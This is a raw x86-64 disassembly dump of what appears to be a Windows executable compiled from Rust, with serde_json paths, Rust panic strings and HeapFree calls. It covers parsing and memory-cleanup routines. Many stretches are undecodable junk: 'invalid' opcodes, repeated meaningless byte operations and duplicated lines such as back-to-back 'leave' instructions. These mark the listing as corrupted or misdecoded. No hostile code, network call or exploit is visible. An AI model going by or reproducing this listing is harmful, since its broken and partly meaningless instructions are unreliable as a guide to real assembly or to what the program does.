add dword [rax], eax
xchg ebp, eax
mov al, 6
add byte [rax], al
or dword [rax], eax
add byte [rax - 0x7b], cl
leave
cwde
or byte [rax], al
add byte [rbp + rcx*2 + 0x48], dh
mov rax, qword [rcx + 0x30]
or al, byte [rbx + 0xb7508f8]
adc dh, al
dec qword [rax]
cmp ebp, 4
add byte [rax], al
mov dl, 0xf5
add al, 0
xor byte [rax - 0x75], cl
xchg ebp, eax
loopne 0x1400dc684
invalid
add byte [rax], al
add byte [rax - 0x77], cl
int1
xchg byte [rax - 0x75000000], bl
test esp, esi
or byte [rax], al
add byte [rcx + 0xa086], cl
add byte [rax - 0x39], cl
xchg byte [rax], ch
add byte [rax], al
add byte [rax - 0x77], cl
sahf
mov eax, 0x48000000
test edi, edi
add byte [rax - 0x73], cl
or eax, 0x7f254
sal byte [rbp + rax + 0x48], 0x89
int1
add eax, eax
cld
add dl, cl
invalid
invalid
add byte [rax], al
test dword [rbx], ebx
invalid
cmp byte [rax - 0x46], cl
invalid
ror byte [rdi], 0x85
sbb al, 6
add byte [rax], al
mov byte [rbp + 0x28], 1
rol byte [rsi + 0x75023c06], 9
mov dh, 5
test eax, 0xba000c21
adc byte [rax], al
add byte [rax], al
or dh, al
test eax, esp
invalid
xchg ebp, eax
add byte [rdi], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
ror byte [rsi + 0x48f0fff5], 0xff
invalid
std
add cl, byte [rdi]
test byte [rcx - 0x10000000], al
dec qword [r15 + 0x40]
cmp byte [rax - 0x7b], cl
sar byte [rcx + 0xf], 0x48
mov eax, 0xffffffff
invalid
invalid
add byte [rax], r8b
mov cl, 0x4f
pop rax
adc byte [rdi], cl
cmc
dec dword [rax - 0x75]
test eax, ebp
or byte [rax], al
add al, dh
dec qword [rax]
or al, 0x48
mov ecx, dword [rbp + 0x8e8]
add byte [rax], al
add byte [rax + rax*8 + 0x184840f], al
invalid
test byte [rcx], al
add byte [rax], al
add byte [rdx + 0x70], bh
add al, 0
call 0xc94ed70e
mov byte [rcx - 0x80], 0xf6
add dword [rcx + 0xf], eax
mov dh, 0x45
adc dword [rax + rax*8 - 0x61b7bf1], eax
stc
stc
invalid
adc dword [rcx], r8d
test dword [rbx + 0x41fffff9], ebx
mov byte [rbp + 0x11], 1
add byte [rbp + rcx*4 + 5], cl
mov edi, 0xba0007e4
add byte [rax], r8b
add al, ch
invalid
mov dword [rbp + 0x8c0], eax
add byte [rax - 0x73], cl
invalid
invalid
lea ecx, [0x140195184]
or eax, dword [rax]
invalid
add byte [rax - 0x73], cl
xchg ebp, eax
lock add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
cmpxchg dword [rcx + 0x30], edx
adc byte [r8 - 0x75], cl
sbb r15b, dil
push rax
adc byte [rax - 0x75], cl
test eax, edi
invalid
invalid
invalid
loopne 0x1400dda72
add byte [rax], al
lea edx, [rbp + 0x5c0]
mov eax, 0x88
mov byte [rax], al
add byte [rax], al
add ecx, ebp
je 0x1400dda8e
add byte [rax], al
add byte [rdi], cl
mov dh, 0x85
int1
invalid
ror byte [rdi], 0x84
scasd eax, dword [rdi]
add byte [rax], al
add byte [rbx - 0x74b7fc08], al
popfq
cwde
or byte [rax], al
add byte [rdx + riz*2 - 0x7d], dh
clc
add al, 0x48
mov edi, dword [rbp + 0x940]
add byte [rax], al
add byte [rax], al
jbe 0x1400ddaa1
cld
dec dword [rax - 0x75]
mov ebp, 0x940
or dword [rax], eax
invalid
xor byte [rax - 0x77], cl
cmpsd dword [rsi], dword [rdi]
sbb byte [0xcd9b239c], al
test al, 6
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
xor byte [r8 - 0x75], cl
mov ebp, 0x940
xor esi, esi
mov bh, 0x85
or dword fs:[rax], eax
add byte [rsi + 0x41], ah
mov dword [rsi + 0x2a], eax
add byte [rcx - 0x77], al
xor al, 0x8b
test dword [rax + 0x41000008], ecx
add dword [rax], eax
add byte [rbp - 0x7b], cl
push qword [rsp + rdx*2 + 0x45]
xor ebp, ebp
add dword [rax], eax
add byte [rbp + 0x29], cl
out dx, al
add byte [rbp + 1], cl
std
mov dword [rsp + 0x138], ebp
invalid
mov esi, dword [rsp + 0x20]
lea ebx, [rsp + 0x40]
jo 0x1400df1cf
invalid
add eax, 0x8d480000
add byte [rax - 0x73], cl
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
add eax, 0xe9e80000
stosb byte [rdi], al
add al, 0
add byte [rdx + 1], bh
outsb dx, byte [rsi]
or byte [rax - 0x7d], cl
rol byte [rsi + riz*2], 0xf
invalid
ret 0xc1f6
mov edi, ebx
adc byte [rcx], ah
and dword [rdx], esi
and dword [rdx], esi
xor al, byte [rbx - 0x46]
add dword [rax], eax
add byte [rax], al
call fcn.14012af80
cdq
sub byte [rax], cl
add byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rax - 0x75], 0x9c
and al, 0xf0
add dword [rax], eax
add byte [rbp + 0x46], dh
test eax, eax
add dword [rax], eax
add byte [rax], al
add eax, 0x848b4800
and al, 0xf8
add dword [rax], eax
add byte [rcx + rcx*4 + 0x70], cl
or byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov bl, 0xa8
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rax + rdi + 0x48]
mov edi, dword [rbx + 0xb0]
add ebx, 0xb8
cmp ebx, 4
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
nop dword [rax + rax]
inc r8
xor r10d, r10d
cmp byte [rax + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc rcx
cmp r9, rcx
jne 0x1400e1b50
lea rcx, [rsp + 0x30]
call fcn.14012af80
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400e1967
int3
sbb byte [rdi], cl
mov dh, 0x3c
invalid
test byte [rcx - 0x7d], 0xc3
add cl, byte [rcx + rcx*4 + 0x5a]
sub byte [rcx + rcx*4 - 0x28], cl
cmp rax, r10
jae 0x1400e1cc3
mov r11, qword [rdx + 0x18]
movzx ebx, byte [r11 + rax]
lea rdi, [rax + 1]
mov qword [rdx + 0x28], rdi
add bl, 0xd0
cmp bl, 0xa
jae 0x1400e1ce7
movzx ebx, bl
cmp rdi, r10
jae 0x1400e1c78
mov edi, 1
sub rdi, r10
add rax, 2
jmp 0x1400e1c3b
nop word cs:[rax + rax]
movzx r10d, r10b
lea ebx, [rbx + rbx*4]
lea ebx, [r10 + rbx*2]
lea r10, [rdi + rax]
inc r10
inc rax
cmp r10, 2
cmp edx, 2
cmp edx, 2
je 0x1400e1c78
movzx r10d, byte [r11 + rax - 1]
add r10b, 0xd0
cmp r10b, 0xa
jae 0x1400e1c78
mov qword [rdx + 0x28], rax
cmp ebx, 0xccccccb
jle 0x1400e1c20
leave
leave
cmp ebx, 0xccccccc
jne 0x1400e1c65
cmp r10b, 7
jbe 0x1400e1c20
test r9, r9
sete r9b
mov byte [rsp + 0x20], sil
call fcn.14012ac00
jmp 0x1400e1cb6
mov eax, dword [rsp + 0x90]
test sil, sil
je 0x1400e1c97
add byte [rax - 0x7c], al
div byte [rbx + rdx + 0x44]
lea edx, [rax + rbx]
lea r10d, [rax + rbx]
sar r10d, 0x1f
add r10d, 0x80000000
add byte [rax + 0x12ebd801], al
add byte [rax + 0x12ebd801], al
xor r10d, r10d
cmp eax, ebx
setns r10b
add r10d, 0x7fffffff
sub eax, ebx
cmovo eax, r10d
mov dword [rsp + 0x20], eax
call fcn.1400e1ed0
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov qword [rsp + 0x28], 5
ja 0x1400e1ebc
mov rsi, rcx
test rax, rax
jne 0x1400e1d0d
mov edx, 1
xor r8d, r8d
jmp 0x1400e1ea2
mov rsi, rcx
mov qword [rsp + 0x28], 0xd
mov r9d, edi
and r9d, 3
cmp rax, 3
jae 0x1400e1d2f
mov edx, 1
xor r8d, r8d
jmp 0x1400e1db4
mov r9, qword [rdx + 0x18]
mov r10d, eax
and r10d, 3
cmp rax, 4
jae 0x1400e1de7
mov edx, 1
xor r8d, r8d
jmp 0x1400e1e74
and rdi, 0xfffffffffffffffc
mov eax, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov ebx, 2
movabs r14, 0x4332322132212110
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [r11]
add r11, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ecx, xmm1
test cl, 1
cmovne r8, r10
test cl, 2
cmovne r8, rbx
test cl, 4
cmovne r8, rax
test cl, 8
mov r15d, 0
cmovne r8, r15
shl ecx, 2
mov r15, r14
shr r15, cl
and r15d, 7
add rdx, r15
add rdi, 0xfffffffffffffffc
jne 0x1400e1d60
test r9, r9
je 0x1400e1ea2
xor eax, eax
nop
inc r8
xor ecx, ecx
cmp byte [r11 + rax], 0xa
mov r10d, 0
cmove r8, r10
sete cl
add rdx, rcx
inc rax
cmp r9, rax
jne 0x1400e1dc0
jmp 0x1400e1ea2
and rax, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov edi, 3
mov ebx, 2
movabs r14, 0x4332322132212110
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ecx, xmm1
test cl, 1
cmovne r8, rdi
test cl, 2
cmovne r8, rbx
test cl, 4
cmovne r8, r11
test cl, 8
mov r15d, 0
cmovne r8, r15
shl ecx, 2
mov r15, r14
shr r15, cl
and r15d, 7
add rdx, r15
add rax, 0xfffffffffffffffc
jne 0x1400e1e20
test r10, r10
je 0x1400e1ea2
xor eax, eax
nop dword [rax + rax]
inc r8
xor ecx, ecx
cmp byte [r9 + rax], 0xa
mov r11d, 0
cmove r8, r11
sete cl
add rdx, rcx
inc rax
cmp r10, rax
jne 0x1400e1e80
lea rcx, [rsp + 0x28]
call fcn.14012af80
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400e1cb6
invalid
invalid
invalid
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rax
mov rdx, r10
call fcn.1401225f0
int3
sub esp, 0x38
mov eax, dword [rsp + 0x90]
movq xmm1, r9
punpckldq xmm1, xmmword [0x14012fb00]
subpd xmm1, xmmword [0x14012fb10]
movapd xmm0, xmm1
unpckhpd xmm0, xmm1
addsd xmm0, xmm1
addps xmm0, xmm1
addps xmm0, xmm1
mov r9d, eax
neg r9d
cmovs r9d, eax
cmp r9d, 0x135
add byte [rdx + 0x44], dh
add byte [rdx + 0x44], dh
xorpd xmm1, xmm1
movsd xmm2, qword [0x14012fb50]
nop word cs:[rax + rax]
ucomisd xmm0, xmm1
jne 0x1400e1f38
jnp 0x1400e1f95
test eax, eax
jns 0x1400e1ff9
divsd xmm0, xmm2
add eax, 0x134
mov r9d, eax
neg r9d
cmovs r9d, eax
cmp r9d, 0x135
jae 0x1400e1f30
mov r9d, r9d
lea r10, [0x140163b40]
movsd xmm1, qword [r10 + r9*8]
test eax, eax
js 0x1400e1fba
mulsd xmm0, xmm1
movq rax, xmm0
movabs r9, 0x7fffffffffffffff
and r9, rax
movabs rax, 0x7ff0000000000000
cmp r9, rax
je 0x1400e1fc5
test r8b, r8b
jne 0x1400e1fa2
xorpd xmm0, xmmword [0x14012fb60]
movsd qword [rcx + 8], xmm0
xor esi, esi
mov qword [rcx], rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
divsd xmm0, xmm1
test r8b, r8b
je 0x1400e1f9a
jmp 0x1400e1fa2
mov qword [rsp + 0x20], 0xe
mov r9, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
cmp rax, r9
ja 0x1400e2118
mov esi, 1
mov rdi, rcx
test rax, rax
jne 0x1400e2032
xor r8d, r8d
mov edx, 1
jmp 0x1400e2102
mov qword [rsp + 0x20], 0xe
add rdx, 0x18
mov rsi, rcx
mov rcx, rdx
call fcn.1400e9380
mov r8, rdx
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.14012af80
mov rcx, rsi
mov qword [rsi + 8], rax
mov esi, 1
jmp 0x1400e1fa9
mov r9, qword [rdx + 0x18]
mov r10d, eax
and r10d, 3
cmp rax, 4
jae 0x1400e2050
mov edx, 1
xor r8d, r8d
jmp 0x1400e20d4
and rax, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ebx, 3
mov r14d, 2
movabs r15, 0x4332322132212110
mov edx, 1
nop
add r8, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ecx, xmm1
test cl, 1
cmovne r8, rbx
test cl, 2
cmovne r8, r14
test cl, 4
cmovne r8, r11
test cl, 8
mov r12d, 0
cmovne r8, r12
shl ecx, 2
mov r12, r15
shr r12, cl
and r12d, 7
add rdx, r12
add rax, 0xfffffffffffffffc
jne 0x1400e2080
test r10, r10
je 0x1400e2102
xor eax, eax
nop dword [rax + rax]
inc r8
xor ecx, ecx
cmp byte [r9 + rax], 0xa
mov r11d, 0
cmove r8, r11
sete cl
add rdx, rcx
inc rax
cmp r10, rax
jne 0x1400e20e0
lea rcx, [rsp + 0x20]
call fcn.14012af80
mov rcx, rdi
mov qword [rdi + 8], rax
jmp 0x1400e1fa9
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rax
mov rdx, r9
call fcn.1401225f0
int3
call 0x13061aff0
dec esi
sub byte [r8 - 0x75], cl
push rbx
sbb byte [rbx + rcx*4 + 0x43], cl
and bh, bh
push rax
adc bl, ch
retf
mov eax, edi
and byte [rax - 0x73], cl
pop rdi
cmp byte [rax - 0x17bc74b8], dl
fcos
push rax
adc byte [rax - 0x7d], cl
ret
adc cl, byte [rax - 0x75]
or eax, 0xbcd2f
mov ecx, dword [0x14019f258]
add byte [rax - 0x7d], cl
add byte ds:[rax + rbx + 0x48], dh
mov eax, dword [rsi + 8]
cmp dword [rsi], 0
and byte [rax - 0x75], cl
push rsi
adc byte [rbx + rcx*4 + 0x46], cl
sbb bh, bh
push rax
adc byte [rax - 0x75], cl
mov esi, pe_nt_image_headers64
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rbx + rax*2 + 0x48]
mov ebx, dword [rsi + 0xe8]
add byte [rax], al
add ebx, 8
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov esi, 0x31000bcc
rol byte [rcx - 1], cl
invalid
invalid
add byte [rax - 0x75], cl
or eax, 0xbcc9f
int3
or eax, dword [rax]
int3
mov eax, dword [rsi + 0x110]
dec dword [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
sahf
and byte [rcx], al
add byte [rax], al
mov ecx, edi
stc
adc byte [rcx], dl
jg 0x1400e25ff
invalid
jrcxz case.0x1400ba5c2.362
or eax, dword [rax]
int3
xchg edx, eax
or eax, dword [rax]
sbb byte [rcx - 0x48], cl
add byte [rax], al
add al, byte [rax]
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x30
mov r13, qword [sym.imp.kernel32.dll_SwitchToThread]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [r14 + 0x18]
mov rax, qword [rbx + 0x28]
test rax, rax
je 0x1400e389d
jmp 0x1400e38b6
mov rcx, qword [rsp + 0x38]
call fcn.14005cd00
mov r14, qword [rsi]
test r14, r14
test r14, r14
je 0x1400e3b45
nop word [rax + rax]
mov rbx, qword [r14 + 0x18]
mov rax, qword [rbx + 0x28]
test rax, rax
jne 0x1400e38b6
mov rax, qword [r14 + 0x10]
cmp rax, rbx
je 0x1400e3916
call r13
mov rbx, qword [r14 + 0x18]
mov rax, qword [rbx + 0x28]
test rax, rax
je 0x1400e389d
mov qword [r14 + 0x18], rax
cmp dword [rbx], 1
je 0x1400e3b8d
mov rcx, qword [rax]
cmp rcx, 1
jne 0x1400e3ba5
mov qword [rax], 0
test rcx, rcx
je 0x1400e3bbd
fld qword [rdx]
add byte [rax], al
fld qword [rdx]
add byte [rax], al
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp qword [rbx], 0
je 0x1400e397c
mov rax, qword [rbx + 8]
test rax, rax
je 0x1400e3973
lea rcx, [rbx + 0x20]
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
call qword [rax + 0x10]
jmp 0x1400e397c
mov rax, qword [r14 + 0x38]
test rax, rax
je 0x1400e3aee
mov qword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
mov rax, qword [rsi]
test rax, rax
je 0x1400e3bfc
mov rax, qword [rax + 0x38]
test rax, rax
je 0x1400e3b0d
call r13
mov rax, qword [rsp + 0x28]
cmp rax, 2
je 0x1400e387b
test rax, rax
je 0x1400e387b
mov rax, qword [rsp + 0x30]
test rax, rax
jne 0x1400e3a6c
jmp 0x1400e3871
mov rcx, qword [rbx + 0x10]
call fcn.14005cd00
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call rdi
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
lea rcx, [r14 + 0x20]
call fcn.1400e0890
test rax, rax
je 0x1400e3a38
mov rbx, rax
mov r14, rax
add r14, 0x10
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x1400e3aa1
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400e3abc
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x1400e3bc9
mov byte [rbx + 0x28], 0
mov rax, qword [rbx + 0x18]
mov rcx, qword [rbx + 0x20]
mov qword [rbx + 0x18], 0
test rax, rax
je 0x1400e3a09
call qword [rax + 8]
test bpl, bpl
jne 0x1400e3a21
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400e3ad8
xor eax, eax
xchg byte [r14], al
cmp al, 2
je 0x1400e3a83
lock dec qword [rbx]
je 0x1400e3a8f
mov r14, qword [rsi]
test r14, r14
je 0x1400e3a3d
lock dec qword [r14 + 0x38]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
mov qword [rsp + 0x28], 1
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x1400e3871
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
jmp 0x1400e387b
mov rcx, r14
call r15
lock dec qword [rbx]
jne 0x1400e3a30
mov rcx, rbx
call fcn.14002de80
mov r14, qword [rsi]
test r14, r14
jne 0x1400e3a38
jmp 0x1400e3a3d
mov rcx, r14
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x1400e39df
call fcn.14012bf20
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x1400e39ed
jmp 0x1400e3bc9
call fcn.14012bf20
test al, al
jne 0x1400e3a21
mov byte [rbx + 0x11], 1
jmp 0x1400e3a21
mov rax, qword [rsi]
test rax, rax
je 0x1400e3b04
lock dec qword [rax]
jne 0x1400e3b04
mov rcx, qword [rsi]
call fcn.1400d6df0
mov qword [rsi], 0
jmp 0x1400e3b45
mov rax, qword [rsp + 0x28]
cmp rax, 2
je 0x1400e3b45
test rax, rax
je 0x1400e3b45
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x1400e3b3b
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
jmp 0x1400e3b45
mov rcx, qword [rsp + 0x38]
call fcn.14005cd00
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x140162788]
lea r8, [0x140162820]
mov edx, 0x29
call fcn.140122660
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x140162880]
mov edx, 0x29
call fcn.140122660
lea rcx, [0x140162838]
call fcn.140122a00
mov qword [rsp + 0x50], r14
mov byte [rsp + 0x58], bpl
lea rax, [0x140162e78]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140162ea8]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.140122900
lea rcx, [0x140162f60]
call fcn.140122a00
int3
int3
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec r14
je 0x1400e3c85
mov rax, qword [rbx + 0x10]
mov eax, dword [rbx + 0x10]
test rax, rax
je 0x1400e3c50
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x1400e3c50
cmp qword [rsi + 0x18], 0
je 0x1400e3c9e
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x38]
mov r14, qword [rsi + 0x40]
test r14, r14
je 0x1400e3ccb
lea rbx, [rdi + 0x38]
nop
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec r14
jne 0x1400e3cb0
cmp qword [rsi + 0x30], 0
je 0x1400e3ce4
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x60]
test rdi, rdi
je 0x1400e3d07
mov rcx, rdi
call fcn.1400160e0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x1400e3e42
cmp eax, 1
jne 0x1400e3e65
mov rdx, qword [rsi + 0x88]
xor eax, eax
xchg qword [rdx + 0x10], rax
test rax, rax
je 0x1400e3d72
mov rax, qword [rdx + 0x28]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
jne 0x1400e3d40
test rax, rax
jne 0x1400e3d72
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
test rax, rax
je 0x1400e3d72
call qword [rax + 8]
mov rax, qword [rsi + 0x88]
lock dec qword [rax]
jne 0x1400e3d8b
mov rcx, qword [rsi + 0x88]
call fcn.14002de80
lea rdi, [rsi + 0x80]
mov rcx, rdi
call fcn.1400e3700
mov rax, qword [rsi + 0x80]
test rax, rax
je 0x1400e3db4
lock dec qword [rax]
jne 0x1400e3db4
mov rcx, qword [rdi]
call fcn.1400d6df0
mov rdi, qword [rsi + 0x90]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x1400e3df4
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x1400e3df4
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400e3e27
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
xor edx, edx
xchg byte [rdi + 0xa0], dl
test rax, rax
je 0x1400e3e27
call qword [rax + 8]
mov rax, qword [rsi + 0x90]
lock dec qword [rax]
jne 0x1400e3ea9
mov rcx, qword [rsi + 0x90]
call fcn.14002e3e0
jmp 0x1400e3ea9
mov rax, qword [rsi + 0x78]
test rax, rax
je 0x1400e3ea9
lea rcx, [rsi + 0x90]
mov rdx, qword [rsi + 0x80]
mov r8, qword [rsi + 0x88]
call qword [rax + 0x10]
jmp 0x1400e3ea9
mov rax, qword [rsi + 0x78]
test rax, rax
je 0x1400e3e7d
lock dec qword [rax]
jne 0x1400e3e7d
lea rcx, [rsi + 0x78]
call fcn.1400ca6b0
lea rdi, [rsi + 0x88]
mov rcx, rdi
call fcn.14001ddf0
mov rcx, rdi
call fcn.140016d90
mov rax, qword [rsi + 0x88]
lock dec qword [rax]
jne 0x1400e3ea9
mov rcx, rdi
call fcn.1400c9be0
mov rsi, qword [rsi + 0x98]
test rsi, rsi
je 0x1400e3f49
mov rax, qword [rsi]
cmp rax, 2
je 0x1400e3f2d
test rax, rax
mov rdi, qword [rsi + 8]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x1400e3ef6
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x1400e3ef6
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x1400e3f1a
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x1400e3f1a
call qword [rax + 8]
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x1400e3f2d
mov rcx, qword [rsi + 8]
call fcn.14002e2a0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov eax, dword [rcx + rax*8]
or eax, 0x831f2
test eax, ecx
add dword [rax], eax
add byte [rax - 0x77], cl
test eax, edx
add dword [rax], eax
add byte [rax - 0x39], cl
test eax, ebx
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
adc eax, 0x1b09066
invalid
add eax, esi
cmpxchg byte [rdi], cl
and eax, 0x58
cmp esi, 1
add byte [rax - 0x75], cl
or al, 0xc1
add byte [rax], al
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rdx, qword [0x58]
mov eax, ebx
add byte [rax], al
add byte [rsi - 0x77], cl
or al, 2
add byte [rax], al
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x81
pop rax
add byte [rax], al
add dh, al
sub dword [rax], 0x1000001
add al, 0xc1
add byte [rax], al
add dword [rax + 0x66660ceb], eax
nop word cs:[rax + rax]
lock add eax, dword [rax]
add al, ch
lodsd eax, dword [rsi]
invalid
test eax, esp
and al, byte [rax]
add byte [rdi], cl
mov dh, 0x86
add dword [rax], eax
add byte [rbp + 0x7d840fc0], al
add al, byte [rax]
add byte [rbx - 0x7af0fc08], al
imul esp, dword [rbx], 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
push 0x440e9
add byte [rcx], dh
fild dword [rcx - 0x80]
inc byte [rdx]
nop word cs:[rax + rax]
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x208], esi
lock add dword [rax], eax
add byte [rcx + rcx*4 - 0x40], cl
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x208], esi
test eax, eax
and al, 0x20
add byte [rax], al
add byte [rax], al
invalid
dec dword [rax - 0x73]
popfq
lock add dword [rax], eax
add byte [rbp + 0x2d], dh
jg 0x1400e493f
add al, 0
xchg byte [rax + 1], al
add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
invalid
mov dword [rbp + 0x1f0], 2
sbb esi, ebx
cld
push rax
dec qword [rdi]
add eax, dword [rax]
std
dec dword [rax - 0x7d]
jge 0x1400e4ac8
add al, 0xf
test dword [rcx + 1], edx
add byte [rax], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0xba82f05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x8d
enter 3, 0
cmpsd dword [rsi], dword [rdi]
or eax, dword [rax]
lea ebx, [rbp + 0x1f0]
mov eax, dword [rcx + rax*8]
dec dword [rcx - 0x73]
jle 0x1400e4b83
add al, 0
add byte [rcx - 0x73], cl
pop rsi
sbb byte [rsi + 0xf], ah
invalid
